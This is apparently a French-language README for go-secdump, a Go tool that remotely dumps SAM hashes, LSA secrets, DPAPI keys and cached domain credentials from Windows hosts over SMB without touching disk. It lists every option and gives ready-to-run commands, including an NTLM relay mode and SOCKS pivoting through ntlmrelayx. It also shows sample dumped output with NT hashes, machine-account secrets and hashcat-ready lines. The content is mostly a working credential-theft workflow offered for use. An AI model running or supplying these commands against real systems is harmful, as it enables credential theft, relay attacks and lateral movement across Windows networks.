
Outil pour extraire à distance les secrets du registre Windows
Le paquet go-secdump est un outil conçu pour extraire à distance les hachages de la ruche SAM ainsi que les secrets LSA et les hachages en cache de la ruche SECURITY, sans agent distant et sans toucher au disque.
L'outil est basé sur la bibliothèque go-smb et l'utilise pour communiquer avec le Registre Windows à distance afin de récupérer les clés de registre directement depuis la mémoire.
Il a été développé comme une expérience d'apprentissage et comme une preuve de concept qu'il devrait être possible de récupérer à distance les hachages NT de la ruche SAM, les secrets LSA ainsi que les identifiants mis en cache du domaine sans avoir à enregistrer d'abord les ruches de registre sur le disque pour les analyser localement.
Le principal problème à surmonter était que les ruches SAM et SECURITY ne sont lisibles que par NT AUTHORITY\SYSTEM. Cependant, j'ai remarqué que les administrateurs du groupe local disposaient de la permission WriteDACL sur les ruches de registre et pouvaient donc être utilisés pour accorder temporairement un accès en lecture à eux-mêmes afin de récupérer les secrets, puis restaurer les permissions d'origine.
Cependant, une meilleure approche a été découverte (février 2025) par Julien Egloff chez Synacktiv. La requête BaseRegOpenKey utilisée pour ouvrir des handles sur les clés de registre dispose d'une option pour affirmer le privilège SeBackupPrivilege, ce qui nous permet d'ouvrir les clés de registre sans modifier d'abord les DACL. L'outil a été mis à jour pour privilégier cette nouvelle approche et ne modifier les DACL que si demandé explicitement.
Une grande partie du code de ce projet est inspirée/reprise du secdump d'Impacket, mais convertie pour accéder au Registre Windows à distance et pour n'accéder qu'aux clés de registre nécessaires.
Voici quelques autres sources utiles pour comprendre la structure du registre et les méthodes de chiffrement :
https://www.passcape.com/index.php?section=docsys&cmd=details&id=23
http://www.beginningtoseethelight.org/ntsecurity/index.htm
L'idée d'utiliser SeBackupPrivilege provient de Synacktiv : https://www.synacktiv.com/publications/lsa-secrets-revisiting-secretsdump
Usage: ./go-secdump [options]
options:
--host <target> Hostname ou adresse IP du serveur distant. Doit être un hostname lors de l'utilisation de Kerberos
-P, --port <port> Port SMB (par défaut 445)
-d, --domain <domain> Nom de domaine à utiliser pour la connexion
-u, --user <username> Nom d'utilisateur
-p, --pass <pass> Mot de passe
-n, --no-pass Désactiver la demande de mot de passe et n'envoyer aucune information d'identification
--hash <NT Hash> Hachage NT encodé en hexadécimal pour le mot de passe de l'utilisateur
--local S'authentifier en tant qu'utilisateur local au lieu d'un utilisateur de domaine
-k, --kerberos Utiliser l'authentification Kerberos. (KRB5CCNAME sera vérifié sur Linux)
--dc-ip <ip> Spécifier éventuellement l'IP du KDC lors de l'utilisation de l'authentification Kerberos
--target-ip <ip> Spécifier éventuellement l'IP de la cible lors de l'utilisation de l'authentification Kerberos
--aes-key <hex> Utiliser une clé AES128/256 encodée en hexadécimal pour l'authentification Kerberos
--keytab-file <file> S'authentifier en utilisant les clés d'un fichier keytab (implique -k). L'utilisateur et le
domaine sont pris de la première entrée du keytab si non spécifiés
--dns-host <ip[:port]> Remplacer le résolveur DNS par défaut du système
--dns-tcp Forcer les requêtes DNS sur TCP. Vrai par défaut lors de l'utilisation de --socks-host
--dump Sauvegarde les ruches SAM et SECURITY sur le disque et
les transfère vers la machine locale.
--sam Extraire explicitement les secrets de la ruche SAM. Seules les autres cibles explicites sont incluses.
--lsa Extraire explicitement les secrets LSA. Seules les autres cibles explicites sont incluses.
--dcc2 Extraire explicitement les caches DCC2. Seules les autres cibles explicites sont incluses.
--misc Extraire explicitement les secrets de registre divers tels que le
DefaultPassword de Winlogon. Seules les autres cibles explicites sont incluses.
--modify-dacl Modifier les DACL des clés de registre avant l'extraction.
Uniquement nécessaire si les clés ne peuvent pas être ouvertes via SeBackupPrivilege. (par défaut false)
--backup-dacl Sauvegarder les DACL originales sur le disque avant modification
--restore-dacl Restaurer les DACL à partir de la sauvegarde sur disque. Peut être utile si la restauration automatique échoue.
--backup-file <file> Nom du fichier pour la sauvegarde DACL (par défaut dacl.backup)
--relay Démarrer un écouteur SMB qui relaiera les
authentifications NTLM entrantes vers le serveur distant et
utilisera cette connexion. NOTEZ que cela force SMB 2.1
sans chiffrement.
--relay-port <port> Port d'écoute pour le relais (par défaut 445)
--socks-host <target> Établir la connexion via un serveur proxy SOCKS5
--socks-port <port> Port du proxy SOCKS5 (par défaut 1080)
-t, --timeout <duration> Délai d'attente de connexion au format 5s ou 2m (par défaut 5s)
--noenc Désactiver le chiffrement SMB
--smb2 Forcer SMB 2.1
--debug Activer la journalisation de débogage. --debug seul active tous les
paquets enregistrés ; --debug=msrrp,smb active uniquement les
suffixes de noms de paquets listés (la forme '=' est requise
pour le filtre).
--verbose Activer la journalisation verbeuse. Même syntaxe de filtre que --debug.
--debug et --verbose peuvent être combinés avec des filtres
différents ; un paquet ciblé par les deux reçoit le niveau le plus élevé.
--list-log-packages Lister les noms des paquets de journalisation enregistrés qui peuvent être
ciblés avec --debug=<suffix> ou --verbose=<suffix>,
puis quitter
-o, --output <file> Nom du fichier pour écrire les résultats (stdout par défaut). Ajoute au fichier s'il existe.
--output-format <fmt> Format de sortie : text (par défaut), json ou hashcat
--history Inclure les secrets LSA historiques (OldVal) en plus des valeurs actuelles
-q, --quiet Supprimer les en-têtes informatifs ; imprimer uniquement les secrets
-v, --version Afficher la version
Maintenant uniquement en tant que fonctionnalité optionnelle activée avec --modify-dacl,
go-secdump tentera automatiquement de modifier puis de restaurer les DACL des
clés de registre requises. Cependant, si un problème survient lors de la restauration,
comme une déconnexion réseau ou une autre interruption, le registre distant restera
avec les DACL modifiées.
En utilisant l'argument --backup-dacl, il est possible de stocker une copie sérialisée
des DACL originales avant modification.
En cas de problème de connectivité, les DACL peuvent être restaurées ultérieurement
à partir du fichier en utilisant l'argument --restore-dacl.
Extraire tous les secrets du registre en utilisant l'astuce SeBackupPrivilege
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
ou
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2
Extraire uniquement les secrets SAM, LSA, cache DCC2 ou secrets divers du registre
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --misc
La cible --misc extrait les secrets de registre divers qui n'appartiennent pas aux
ruches SAM/LSA/DCC2, actuellement le DefaultPassword (et le
DefaultUserName associé) de l'auto-connexion Winlogon, lorsque présent.
Inclure les secrets LSA historiques (OldVal) en plus des valeurs actuelles avec
--history. Écrire les résultats dans un fichier avec -o/--output (ajouté s'il existe)
et choisir le format des secrets avec --output-format :
text (par défaut) — lisible par l'humainjson — un tableau JSON d'enregistrements typés, utile pour un traitement ultérieurhashcat — hachages NT bruts (mode 1000) et lignes $DCC2$ (mode 2100) prêts à être fournis à hashcatUtiliser -q/--quiet pour supprimer les en-têtes informatifs et le résumé, afin que seuls
les secrets eux-mêmes soient imprimés.
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --history --output-format json -o secrets.json
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --output-format hashcat --quiet
Lister les noms des paquets de journalisation qui peuvent être ciblés, puis activer la journalisation de débogage ou verbeuse pour des paquets spécifiques (correspondant au suffixe du nom) au lieu de tous :
./go-secdump --list-log-packages
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --debug=msrrp,smb
Extraire les secrets du registre via un relais NTLM
Démarrer l'écouteur
./go-secdump --host 192.168.0.100 -n --relay
Déclencher une authentification vers votre machine depuis un client ayant un accès administratif à 192.168.0.100 d'une manière ou d'une autre, puis attendre les secrets extraits.
YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805
YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)!
Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [Notice] [+] Signing is NOT required
2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator
[*] Dumping local SAM hashes
Name: Administrator
RID: 500
NT: 2727D7906A776A77B34D0430EAACD2C5
Name: Guest
RID: 501
NT: <empty>
Name: DefaultAccount
RID: 503
NT: <empty>
Name: WDAGUtilityAccount
RID: 504
NT: <empty>
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4
$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...
[*] DPAPI_SYSTEM
dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100
dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939
[*] NL$KM
NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74
[*] Dumping cached domain credentials (domain/username:hash)
DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab
...
Extraire les secrets en utilisant un proxy SOCKS5 en amont pour le pivotement ou pour profiter de la fonctionnalité de serveur SOCKS de ntlmrelayx.py d'Impacket.
Lors de l'utilisation de ntlmrelayx.py comme proxy en amont, le nom d'utilisateur fourni doit correspondre à celui du client authentifié, mais le mot de passe peut être vide.
./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server
...
./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080